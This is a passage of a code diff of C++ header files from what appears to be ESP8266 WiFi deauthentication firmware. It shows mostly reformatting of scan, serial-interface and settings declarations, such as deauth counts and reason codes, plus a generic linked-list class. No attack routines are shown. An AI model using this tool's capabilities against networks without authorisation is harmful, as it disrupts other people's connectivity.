||||||
uint32_t continueStartTime = 0; // when scan restarted
|
|
||||||
|
|
||||||
bool channelHop = true;
|
|
||||||
uint16_t tmpDeauths = 0;
|
|
||||||
|
|
||||||
bool apWithChannel(uint8_t ch);
|
|
||||||
int findAccesspoint(uint8_t* mac);
|
|
||||||
|
|
||||||
String FILE_PATH = "/scan.json";
|
double getScaleFactor(uint8_t height);
|
||||||
|
uint32_t getMaxPacket();
|
||||||
|
uint32_t getPacketRate();
|
||||||
|
|
||||||
|
uint16_t deauths = 0;
|
||||||
|
uint16_t packets = 0;
|
||||||
|
|
||||||
|
private:
|
||||||
|
SimpleList<uint16_t>* list; // packet list
|
||||||
|
|
||||||
|
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||||
|
uint32_t snifferStartTime = 0; // when the scan started
|
||||||
|
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||||
|
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||||
|
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||||
|
|
||||||
|
uint8_t scanMode = 0;
|
||||||
|
|
||||||
|
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||||
|
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||||
|
uint32_t continueStartTime = 0; // when scan restarted
|
||||||
|
|
||||||
|
bool channelHop = true;
|
||||||
|
uint16_t tmpDeauths = 0;
|
||||||
|
|
||||||
|
bool apWithChannel(uint8_t ch);
|
||||||
|
int findAccesspoint(uint8_t* mac);
|
||||||
|
|
||||||
|
String FILE_PATH = "/scan.json";
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Scan_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -16,32 +16,19 @@ extern "C" {
|
|||||||
#include "Scan.h"
|
#include "Scan.h"
|
||||||
#include "Attack.h"
|
#include "Attack.h"
|
||||||
#include "DisplayUI.h"
|
#include "DisplayUI.h"
|
||||||
#include "DigitalLed.h"
|
#include "LEDController.h"
|
||||||
#include "RGBLed.h"
|
|
||||||
#include "Neopixel.h"
|
|
||||||
|
|
||||||
#ifdef DIGITAL_LED
|
|
||||||
extern DigitalLed led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef RGB_LED
|
|
||||||
extern RGBLed led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef NEOPIXEL_LED
|
|
||||||
extern Neopixel led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
extern LEDController* led;
|
||||||
extern Settings settings;
|
extern Settings settings;
|
||||||
extern Names names;
|
extern Names names;
|
||||||
extern SSIDs ssids;
|
extern SSIDs ssids;
|
||||||
extern Accesspoints accesspoints;
|
extern Accesspoints accesspoints;
|
||||||
extern Stations stations;
|
extern Stations stations;
|
||||||
extern Scan scan;
|
extern Scan scan;
|
||||||
extern Attack attack;
|
extern Attack attack;
|
||||||
extern DisplayUI displayUI;
|
extern DisplayUI displayUI;
|
||||||
extern uint32_t currentTime;
|
extern uint32_t currentTime;
|
||||||
extern uint32_t autosaveTime;
|
extern uint32_t autosaveTime;
|
||||||
|
|
||||||
extern String macToStr(uint8_t* mac);
|
extern String macToStr(uint8_t* mac);
|
||||||
extern void strToColor(String str, uint8_t* buf);
|
extern void strToColor(String str, uint8_t* buf);
|
||||||
@@ -49,52 +36,49 @@ extern void readFileToSerial(String path, bool showLineNum);
|
|||||||
extern bool removeFile(String path);
|
extern bool removeFile(String path);
|
||||||
extern bool copyFile(String pathFrom, String pathTo);
|
extern bool copyFile(String pathFrom, String pathTo);
|
||||||
extern bool renameFile(String pathFrom, String pathTo);
|
extern bool renameFile(String pathFrom, String pathTo);
|
||||||
extern bool appendFile(String path, String &buf);
|
extern bool appendFile(String path, String& buf);
|
||||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||||
extern bool replaceLine(String path, int line, String &buf);
|
extern bool replaceLine(String path, int line, String& buf);
|
||||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||||
extern void printWifiStatus();
|
extern void printWifiStatus();
|
||||||
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
||||||
extern void wifiUpdate();
|
extern void wifiUpdate();
|
||||||
|
|
||||||
class SerialInterface {
|
class SerialInterface {
|
||||||
public:
|
public:
|
||||||
SerialInterface();
|
SerialInterface();
|
||||||
void enable();
|
void enable();
|
||||||
void load();
|
void load();
|
||||||
void load(String filepath);
|
void load(String filepath);
|
||||||
void disable();
|
void disable();
|
||||||
void update();
|
void update();
|
||||||
void stopScript();
|
void stopScript();
|
||||||
|
|
||||||
void runCommands(String input);
|
void runCommands(String input);
|
||||||
void runCommand(String input);
|
void runCommand(String input);
|
||||||
|
|
||||||
void error(String message);
|
void error(String message);
|
||||||
void parameterError(String parameter);
|
void parameterError(String parameter);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
bool enabled;
|
bool enabled;
|
||||||
SimpleList<String>* list;
|
SimpleList<String>* list;
|
||||||
bool executing = false;
|
bool executing = false;
|
||||||
bool continuously = false;
|
bool continuously = false;
|
||||||
uint32_t continueTime = 0;
|
uint32_t continueTime = 0;
|
||||||
uint32_t loopTime = 0;
|
uint32_t loopTime = 0;
|
||||||
String execPath = "/autostart.txt";
|
String execPath = "/autostart.txt";
|
||||||
|
|
||||||
struct Keyword{
|
struct Keyword {
|
||||||
const char* name;
|
const char* name;
|
||||||
const char* shortName;
|
const char* shortName;
|
||||||
const char* alt;
|
const char* alt;
|
||||||
};
|
};
|
||||||
|
|
||||||
bool isInt(String str);
|
bool isInt(String str);
|
||||||
int toInt(String str);
|
int toInt(String str);
|
||||||
uint32_t getTime(String time);
|
uint32_t getTime(String time);
|
||||||
bool eqlsCMD(int i, const char* keyword);
|
bool eqlsCMD(int i, const char* keyword);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef SerialInterface_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -6,16 +6,16 @@
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
#include "user_interface.h"
|
#include "user_interface.h"
|
||||||
}
|
}
|
||||||
#include <ArduinoJson.h>
|
#include "ArduinoJson.h"
|
||||||
#include "language.h"
|
#include "language.h"
|
||||||
#include "A_config.h"
|
#include "A_config.h"
|
||||||
|
|
||||||
#define VERSION "v2.0.5"
|
#define VERSION "v2.0.6"
|
||||||
|
|
||||||
extern void checkFile(String path, String data);
|
extern void checkFile(String path, String data);
|
||||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||||
extern bool writeFile(String path, String &buf);
|
extern bool writeFile(String path, String& buf);
|
||||||
extern void saveJSONFile(String path, JsonObject &root);
|
extern void saveJSONFile(String path, JsonObject& root);
|
||||||
extern String macToStr(uint8_t* mac);
|
extern String macToStr(uint8_t* mac);
|
||||||
extern void getRandomMac(uint8_t* mac);
|
extern void getRandomMac(uint8_t* mac);
|
||||||
extern bool strToMac(String macStr, uint8_t* mac);
|
extern bool strToMac(String macStr, uint8_t* mac);
|
||||||
@@ -25,120 +25,118 @@ extern void copyWebFiles(bool force);
|
|||||||
extern bool macValid(uint8_t* mac);
|
extern bool macValid(uint8_t* mac);
|
||||||
|
|
||||||
class Settings {
|
class Settings {
|
||||||
public:
|
public:
|
||||||
Settings();
|
Settings();
|
||||||
void load();
|
void load();
|
||||||
void load(String filepath);
|
void load(String filepath);
|
||||||
void save(bool force);
|
void save(bool force);
|
||||||
void save(bool force,String filepath);
|
void save(bool force, String filepath);
|
||||||
void reset();
|
void reset();
|
||||||
void print();
|
void print();
|
||||||
|
|
||||||
void set(const char* str, String value);
|
void set(const char* str, String value);
|
||||||
String get(const char* str);
|
String get(const char* str);
|
||||||
|
|
||||||
String getVersion();
|
String getVersion();
|
||||||
uint16_t getDeauthsPerTarget();
|
uint16_t getDeauthsPerTarget();
|
||||||
uint8_t getDeauthReason();
|
uint8_t getDeauthReason();
|
||||||
bool getBeaconChannel();
|
bool getBeaconChannel();
|
||||||
uint8_t getForcePackets();
|
uint8_t getForcePackets();
|
||||||
bool getAutosave();
|
bool getAutosave();
|
||||||
uint32_t getAutosaveTime();
|
uint32_t getAutosaveTime();
|
||||||
uint8_t getMaxCh();
|
uint8_t getMaxCh();
|
||||||
bool getBeaconInterval();
|
bool getBeaconInterval();
|
||||||
uint8_t getChannel();
|
uint8_t getChannel();
|
||||||
String getSSID();
|
String getSSID();
|
||||||
String getPassword();
|
String getPassword();
|
||||||
bool getSerialInterface();
|
bool getSerialInterface();
|
||||||
bool getDisplayInterface();
|
bool getDisplayInterface();
|
||||||
bool getWebInterface();
|
bool getWebInterface();
|
||||||
uint16_t getChTime();
|
uint16_t getChTime();
|
||||||
uint8_t* getMacSt();
|
uint8_t* getMacSt();
|
||||||
uint8_t* getMacAP();
|
uint8_t* getMacAP();
|
||||||
bool getRandomTX();
|
bool getRandomTX();
|
||||||
uint32_t getAttackTimeout();
|
uint32_t getAttackTimeout();
|
||||||
bool getLedEnabled();
|
bool getLedEnabled();
|
||||||
uint8_t getProbesPerSSID();
|
uint8_t getProbesPerSSID();
|
||||||
bool getHidden();
|
bool getHidden();
|
||||||
bool getCaptivePortal();
|
bool getCaptivePortal();
|
||||||
uint16_t getMinDeauths();
|
uint16_t getMinDeauths();
|
||||||
uint32_t getDisplayTimeout();
|
uint32_t getDisplayTimeout();
|
||||||
String getLang();
|
String getLang();
|
||||||
bool getSerialEcho();
|
bool getSerialEcho();
|
||||||
bool getWebSpiffs();
|
bool getWebSpiffs();
|
||||||
|
|
||||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
|
||||||
void setDeauthReason(uint8_t deauthReason);
|
|
||||||
void setBeaconChannel(bool beaconChannel);
|
|
||||||
void setForcePackets(uint8_t forcePackets);
|
|
||||||
void setAutosave(bool autosave);
|
|
||||||
void setAutosaveTime(uint32_t autosaveTime);
|
|
||||||
void setMaxCh(uint8_t maxCh);
|
|
||||||
void setBeaconInterval(bool beaconInterval);
|
|
||||||
void setChannel(uint8_t channel);
|
|
||||||
void setSSID(String ssid);
|
|
||||||
void setPassword(String password);
|
|
||||||
void setSerialInterface(bool serialInterface);
|
|
||||||
void setDisplayInterface(bool displayInterface);
|
|
||||||
void setWebInterface(bool webInterface);
|
|
||||||
void setChTime(uint16_t chTime);
|
|
||||||
void setMacSt(String macStr);
|
|
||||||
bool setMacSt(uint8_t* macSt);
|
|
||||||
void setMacAP(String macStr);
|
|
||||||
bool setMacAP(uint8_t* macAP);
|
|
||||||
void setRandomTX(bool randomTX);
|
|
||||||
void setAttackTimeout(uint32_t attackTimeout);
|
|
||||||
void setLedEnabled(bool ledEnabled);
|
|
||||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
|
||||||
void setHidden(bool hidden);
|
|
||||||
void setCaptivePortal(bool captivePortal);
|
|
||||||
void setMinDeauths(uint16_t minDeauths);
|
|
||||||
void setDisplayTimeout(uint32_t displayTimeout);
|
|
||||||
void setLang(String lang);
|
|
||||||
void setSerialEcho(bool serialEcho);
|
|
||||||
void setWebSpiffs(bool webSpiffs);
|
|
||||||
private:
|
|
||||||
bool changed = false;
|
|
||||||
|
|
||||||
String version = VERSION;
|
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||||
|
void setDeauthReason(uint8_t deauthReason);
|
||||||
|
void setBeaconChannel(bool beaconChannel);
|
||||||
|
void setForcePackets(uint8_t forcePackets);
|
||||||
|
void setAutosave(bool autosave);
|
||||||
|
void setAutosaveTime(uint32_t autosaveTime);
|
||||||
|
void setMaxCh(uint8_t maxCh);
|
||||||
|
void setBeaconInterval(bool beaconInterval);
|
||||||
|
void setChannel(uint8_t channel);
|
||||||
|
void setSSID(String ssid);
|
||||||
|
void setPassword(String password);
|
||||||
|
void setSerialInterface(bool serialInterface);
|
||||||
|
void setDisplayInterface(bool displayInterface);
|
||||||
|
void setWebInterface(bool webInterface);
|
||||||
|
void setChTime(uint16_t chTime);
|
||||||
|
void setMacSt(String macStr);
|
||||||
|
bool setMacSt(uint8_t* macSt);
|
||||||
|
void setMacAP(String macStr);
|
||||||
|
bool setMacAP(uint8_t* macAP);
|
||||||
|
void setRandomTX(bool randomTX);
|
||||||
|
void setAttackTimeout(uint32_t attackTimeout);
|
||||||
|
void setLedEnabled(bool ledEnabled);
|
||||||
|
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||||
|
void setHidden(bool hidden);
|
||||||
|
void setCaptivePortal(bool captivePortal);
|
||||||
|
void setMinDeauths(uint16_t minDeauths);
|
||||||
|
void setDisplayTimeout(uint32_t displayTimeout);
|
||||||
|
void setLang(String lang);
|
||||||
|
void setSerialEcho(bool serialEcho);
|
||||||
|
void setWebSpiffs(bool webSpiffs);
|
||||||
|
|
||||||
bool beaconChannel = false;
|
private:
|
||||||
bool autosave = true;
|
bool changed = false;
|
||||||
bool beaconInterval = false;
|
|
||||||
bool serialInterface = true;
|
|
||||||
bool displayInterface = USE_DISPLAY;
|
|
||||||
bool webInterface = true;
|
|
||||||
bool webSpiffs = false;
|
|
||||||
bool randomTX = false;
|
|
||||||
bool ledEnabled = true;
|
|
||||||
bool serialEcho = true;
|
|
||||||
|
|
||||||
uint32_t attackTimeout = 600;
|
String version = VERSION;
|
||||||
uint32_t autosaveTime = 10000;
|
|
||||||
uint32_t displayTimeout = 600;
|
bool beaconChannel = false;
|
||||||
uint16_t deauthsPerTarget = 20;
|
bool autosave = true;
|
||||||
uint16_t chTime = 384;
|
bool beaconInterval = false;
|
||||||
uint16_t minDeauths = 3;
|
bool serialInterface = true;
|
||||||
uint8_t forcePackets = 1;
|
bool displayInterface = USE_DISPLAY;
|
||||||
uint8_t maxCh = 13;
|
bool webInterface = true;
|
||||||
uint8_t channel = 1;
|
bool webSpiffs = false;
|
||||||
uint8_t deauthReason = 1;
|
bool randomTX = false;
|
||||||
uint8_t* macSt;
|
bool ledEnabled = true;
|
||||||
uint8_t* macAP;
|
bool serialEcho = true;
|
||||||
uint8_t probesPerSSID = 1;
|
|
||||||
|
uint32_t attackTimeout = 600;
|
||||||
String ssid = "pwned";
|
uint32_t autosaveTime = 10000;
|
||||||
String password = "deauther";
|
uint32_t displayTimeout = 600;
|
||||||
bool hidden = false;
|
uint16_t deauthsPerTarget = 20;
|
||||||
bool captivePortal = true;
|
uint16_t chTime = 384;
|
||||||
String lang = "en";
|
uint16_t minDeauths = 3;
|
||||||
|
uint8_t forcePackets = 1;
|
||||||
String FILE_PATH = "/settings.json";
|
uint8_t maxCh = 13;
|
||||||
|
uint8_t channel = 1;
|
||||||
String getJsonStr();
|
uint8_t deauthReason = 1;
|
||||||
|
uint8_t* macSt;
|
||||||
|
uint8_t* macAP;
|
||||||
|
uint8_t probesPerSSID = 1;
|
||||||
|
|
||||||
|
String ssid = "pwned";
|
||||||
|
String password = "deauther";
|
||||||
|
bool hidden = false;
|
||||||
|
bool captivePortal = true;
|
||||||
|
String lang = "en";
|
||||||
|
|
||||||
|
String FILE_PATH = "/settings.json";
|
||||||
|
|
||||||
|
String getJsonStr();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Settings_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -6,357 +6,354 @@
|
|||||||
|
|
||||||
template<class T>
|
template<class T>
|
||||||
struct Node {
|
struct Node {
|
||||||
T data;
|
T data;
|
||||||
Node<T> *next;
|
Node<T>* next;
|
||||||
};
|
};
|
||||||
|
|
||||||
template<typename T>
|
template<typename T>
|
||||||
class SimpleList{
|
class SimpleList {
|
||||||
public:
|
public:
|
||||||
SimpleList();
|
SimpleList();
|
||||||
~SimpleList();
|
~SimpleList();
|
||||||
|
|
||||||
virtual int size();
|
virtual int size();
|
||||||
virtual void add(int index, T obj);
|
virtual void add(int index, T obj);
|
||||||
virtual void add(T obj);
|
virtual void add(T obj);
|
||||||
virtual void replace(int index, T obj);
|
virtual void replace(int index, T obj);
|
||||||
virtual void remove(int index);
|
virtual void remove(int index);
|
||||||
virtual T shift();
|
virtual T shift();
|
||||||
virtual T pop();
|
virtual T pop();
|
||||||
virtual T get(int index);
|
virtual T get(int index);
|
||||||
virtual int search(std::function<bool(T &a)> cmp);
|
virtual int search(std::function<bool(T& a)>cmp);
|
||||||
virtual int searchNext(std::function<bool(T &a)> cmp);
|
virtual int searchNext(std::function<bool(T& a)>cmp);
|
||||||
virtual int binSearch(std::function<int(T &a)> cmp, int lowerEnd, int upperEnd);
|
virtual int binSearch(std::function<int(T& a)>cmp, int lowerEnd, int upperEnd);
|
||||||
virtual int binSearch(std::function<int(T &a)> cmp);
|
virtual int binSearch(std::function<int(T& a)>cmp);
|
||||||
virtual int count(std::function<bool(T &a)> cmp);
|
virtual int count(std::function<bool(T& a)>cmp);
|
||||||
virtual void clear();
|
virtual void clear();
|
||||||
virtual void sort(std::function<bool(T &a, T &b)> cmp);
|
virtual void sort(std::function<bool(T& a, T& b)>cmp);
|
||||||
virtual void swap(int x, int y);
|
virtual void swap(int x, int y);
|
||||||
protected:
|
|
||||||
int listSize;
|
protected:
|
||||||
Node<T>* listBegin;
|
int listSize;
|
||||||
Node<T>* listEnd;
|
Node<T>* listBegin;
|
||||||
|
Node<T>* listEnd;
|
||||||
// Helps get() method by saving last position
|
|
||||||
Node<T>* lastNodeGot;
|
// Helps get() method by saving last position
|
||||||
int lastIndexGot;
|
Node<T>* lastNodeGot;
|
||||||
bool isCached;
|
int lastIndexGot;
|
||||||
|
bool isCached;
|
||||||
Node<T>* getNode(int index);
|
|
||||||
|
Node<T>* getNode(int index);
|
||||||
};
|
};
|
||||||
|
|
||||||
template<typename T>
|
template<typename T>
|
||||||
SimpleList<T>::SimpleList(){
|
SimpleList<T>::SimpleList() {
|
||||||
listBegin = NULL;
|
listBegin = NULL;
|
||||||
listEnd = NULL;
|
listEnd = NULL;
|
||||||
listSize = 0;
|
listSize = 0;
|
||||||
|
|
||||||
lastNodeGot = NULL;
|
lastNodeGot = NULL;
|
||||||
lastIndexGot = -1;
|
lastIndexGot = -1;
|
||||||
isCached = false;
|
isCached = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Clear Nodes and free Memory
|
// Clear Nodes and free Memory
|
||||||
template<typename T>
|
template<typename T>
|
||||||
SimpleList<T>::~SimpleList(){
|
SimpleList<T>::~SimpleList() {
|
||||||
clear();
|
clear();
|
||||||
listBegin = NULL;
|
listBegin = NULL;
|
||||||
listEnd = NULL;
|
listEnd = NULL;
|
||||||
listSize = 0;
|
listSize = 0;
|
||||||
|
|
||||||
lastNodeGot = NULL;
|
lastNodeGot = NULL;
|
||||||
lastIndexGot = -1;
|
lastIndexGot = -1;
|
||||||
isCached = false;
|
isCached = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
template<typename T>
|
template<typename T>
|
||||||
Node<T>* SimpleList<T>::getNode(int index){
|
Node<T>* SimpleList<T>::getNode(int index) {
|
||||||
if(index < 0 || index >= listSize)
|
if ((index < 0) || (index >= listSize)) return NULL;
|
||||||
return NULL;
|
|
||||||
|
|
||||||
Node<T>* hNode = listBegin;
|
Node<T>* hNode = listBegin;
|
||||||
int c = 0;
|
int c = 0;
|
||||||
|
|
||||||
if(isCached && index >= lastIndexGot){
|
if (isCached && (index >= lastIndexGot)) {
|
||||||
c = lastIndexGot;
|
c = lastIndexGot;
|
||||||
hNode = lastNodeGot;
|
hNode = lastNodeGot;
|
||||||
}
|
|
||||||
|
|
||||||
while(hNode != NULL && c < index){
|
|
||||||
hNode = hNode->next;
|
|
||||||
c++;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(hNode){
|
|
||||||
isCached = true;
|
|
||||||
lastIndexGot = c;
|
|
||||||
lastNodeGot = hNode;
|
|
||||||
}
|
|
||||||
|
|
||||||
return hNode;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::size(){
|
|
||||||
return listSize;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::add(T obj){
|
|
||||||
Node<T> *node = new Node<T>();
|
|
||||||
node->data = obj;
|
|
||||||
node->next = NULL;
|
|
||||||
|
|
||||||
if(!listBegin)
|
|
||||||
listBegin = node;
|
|
||||||
|
|
||||||
if(listEnd){
|
|
||||||
listEnd->next = node;
|
|
||||||
listEnd = node;
|
|
||||||
} else {
|
|
||||||
listEnd = node;
|
|
||||||
}
|
|
||||||
|
|
||||||
listSize++;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::add(int index, T obj){
|
|
||||||
if(index < 0 || index >= listSize){
|
|
||||||
add(obj);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
Node<T> *nodeNew = new Node<T>();
|
|
||||||
nodeNew->data = obj;
|
|
||||||
nodeNew->next = NULL;
|
|
||||||
|
|
||||||
if(index == 0)
|
|
||||||
listBegin = nodeNew;
|
|
||||||
else{
|
|
||||||
Node<T>* nodePrev = getNode(index - 1);
|
|
||||||
nodeNew->next = nodePrev->next;
|
|
||||||
nodePrev->next = nodeNew;
|
|
||||||
}
|
|
||||||
|
|
||||||
listSize++;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::replace(int index, T obj){
|
|
||||||
if(index >= 0 && index < listSize){
|
|
||||||
getNode(index)->data = obj;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::remove(int index){
|
|
||||||
if (index < 0 || index >= listSize)
|
|
||||||
return;
|
|
||||||
|
|
||||||
Node<T>* nodePrev = getNode(index - 1);
|
|
||||||
Node<T>* nodeToDelete = getNode(index);
|
|
||||||
|
|
||||||
if(index == 0) {
|
|
||||||
listBegin = nodeToDelete->next;
|
|
||||||
} else {
|
|
||||||
nodePrev->next = nodeToDelete->next;
|
|
||||||
if(!nodePrev->next)
|
|
||||||
listEnd = nodePrev;
|
|
||||||
}
|
|
||||||
|
|
||||||
delete nodeToDelete;
|
|
||||||
|
|
||||||
isCached = false;
|
|
||||||
|
|
||||||
listSize--;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
T SimpleList<T>::get(int index){
|
|
||||||
Node<T> *hNode = getNode(index);
|
|
||||||
return (hNode ? hNode->data : T());
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::search(std::function<bool(T &a)> cmp){
|
|
||||||
int i = 0;
|
|
||||||
Node<T>* hNode = getNode(i);
|
|
||||||
bool found = cmp(hNode->data);
|
|
||||||
|
|
||||||
while(!found && i < listSize){
|
|
||||||
i++;
|
|
||||||
hNode = getNode(i);
|
|
||||||
found = cmp(hNode->data);
|
|
||||||
}
|
|
||||||
|
|
||||||
return found ? i : -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::searchNext(std::function<bool(T &a)> cmp){
|
|
||||||
int i = lastIndexGot;
|
|
||||||
Node<T>* hNode = lastNodeGot;
|
|
||||||
bool found = cmp(hNode->data);
|
|
||||||
|
|
||||||
while(!found && i < listSize){
|
|
||||||
i++;
|
|
||||||
hNode = getNode(i);
|
|
||||||
found = cmp(hNode->data);
|
|
||||||
}
|
|
||||||
|
|
||||||
return found ? i : -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::binSearch(std::function<int(T &a)> cmp, int lowerEnd, int upperEnd){
|
|
||||||
int res;
|
|
||||||
int mid = (lowerEnd + upperEnd) / 2;
|
|
||||||
Node<T>* hNode = listBegin;
|
|
||||||
int hIndex = 0;
|
|
||||||
|
|
||||||
while (lowerEnd <= upperEnd) {
|
|
||||||
hNode = lastNodeGot;
|
|
||||||
hIndex = lastIndexGot;
|
|
||||||
res = cmp(getNode(mid)->data);
|
|
||||||
|
|
||||||
if (res == 0) {
|
|
||||||
return mid;
|
|
||||||
} else if (res < 0) {
|
|
||||||
// when going left, set cached node back to previous cached node
|
|
||||||
lastNodeGot = hNode;
|
|
||||||
lastIndexGot = hIndex;
|
|
||||||
isCached = true;
|
|
||||||
|
|
||||||
upperEnd = mid - 1;
|
|
||||||
mid = (lowerEnd + upperEnd) / 2;
|
|
||||||
} else if (res > 0) {
|
|
||||||
lowerEnd = mid + 1;
|
|
||||||
mid = (lowerEnd + upperEnd) / 2;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::binSearch(std::function<int(T &a)> cmp){
|
|
||||||
return binSearch(cmp,0,listSize-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
int SimpleList<T>::count(std::function<bool(T &a)> cmp){
|
|
||||||
int c = 0;
|
|
||||||
|
|
||||||
for(int i=0;i<listSize;i++){
|
|
||||||
c += cmp(getNode(i)->data);
|
|
||||||
}
|
|
||||||
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
T SimpleList<T>::pop(){
|
|
||||||
if(listSize <= 0)
|
|
||||||
return T();
|
|
||||||
|
|
||||||
T data = listEnd->data;
|
|
||||||
remove(listSize-1);
|
|
||||||
return data;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
T SimpleList<T>::shift(){
|
|
||||||
if(listSize <= 0)
|
|
||||||
return T();
|
|
||||||
|
|
||||||
T data = listBegin->data;
|
|
||||||
remove(0);
|
|
||||||
return data;
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::clear(){
|
|
||||||
while(listSize > 0)
|
|
||||||
remove(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
template<typename T>
|
|
||||||
void SimpleList<T>::swap(int x, int y){
|
|
||||||
// only continue when the index numbers are unequal and at least 0
|
|
||||||
if(x != y && x >= 0 && y >= 0){
|
|
||||||
if(x > y){ // the first index should be smaller than the second. If not, swap them!
|
|
||||||
int h = x;
|
|
||||||
x = y;
|
|
||||||
y = h;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// When data is small, copy it
|
while (hNode != NULL && c < index) {
|
||||||
if(sizeof(T) < 24){
|
hNode = hNode->next;
|
||||||
Node<T>* nodeA = getNode(x);
|
c++;
|
||||||
Node<T>* nodeB = getNode(y);
|
|
||||||
T h = nodeA->data;
|
|
||||||
nodeA->data = nodeB->data;
|
|
||||||
nodeB->data = h;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// otherwise change the pointers
|
if (hNode) {
|
||||||
|
isCached = true;
|
||||||
|
lastIndexGot = c;
|
||||||
|
lastNodeGot = hNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::size() {
|
||||||
|
return listSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void SimpleList<T>::add(T obj) {
|
||||||
|
Node<T>* node = new Node<T>();
|
||||||
|
node->data = obj;
|
||||||
|
node->next = NULL;
|
||||||
|
|
||||||
|
if (!listBegin) listBegin = node;
|
||||||
|
|
||||||
|
if (listEnd) {
|
||||||
|
listEnd->next = node;
|
||||||
|
listEnd = node;
|
||||||
|
} else {
|
||||||
|
listEnd = node;
|
||||||
|
}
|
||||||
|
|
||||||
|
listSize++;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void SimpleList<T>::add(int index, T obj) {
|
||||||
|
if ((index < 0) || (index >= listSize)) {
|
||||||
|
add(obj);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Node<T>* nodeNew = new Node<T>();
|
||||||
|
nodeNew->data = obj;
|
||||||
|
nodeNew->next = NULL;
|
||||||
|
|
||||||
|
if (index == 0) listBegin = nodeNew;
|
||||||
else {
|
else {
|
||||||
// Example: a -> b -> c -> ... -> g -> h -> i
|
Node<T>* nodePrev = getNode(index - 1);
|
||||||
// we want to swap b with h
|
nodeNew->next = nodePrev->next;
|
||||||
Node<T>* nodeA = getNode(x - 1); // x.prev
|
nodePrev->next = nodeNew;
|
||||||
Node<T>* nodeB = getNode(x); // x
|
|
||||||
Node<T>* nodeC = getNode(x + 1); // x.next
|
|
||||||
Node<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
|
||||||
Node<T>* nodeH = getNode(y); // y
|
|
||||||
Node<T>* nodeI = getNode(y + 1); // y.next
|
|
||||||
|
|
||||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
|
||||||
if(nodeA)
|
|
||||||
nodeA->next = nodeH;
|
|
||||||
else
|
|
||||||
listBegin = nodeH;
|
|
||||||
|
|
||||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
|
||||||
if(nodeH != nodeC) // when nodes between b and h exist
|
|
||||||
nodeH->next = nodeC;
|
|
||||||
else
|
|
||||||
nodeH->next = nodeB;
|
|
||||||
|
|
||||||
// a -> h -> i b -> i
|
|
||||||
nodeB->next = nodeI;
|
|
||||||
if(!nodeI)
|
|
||||||
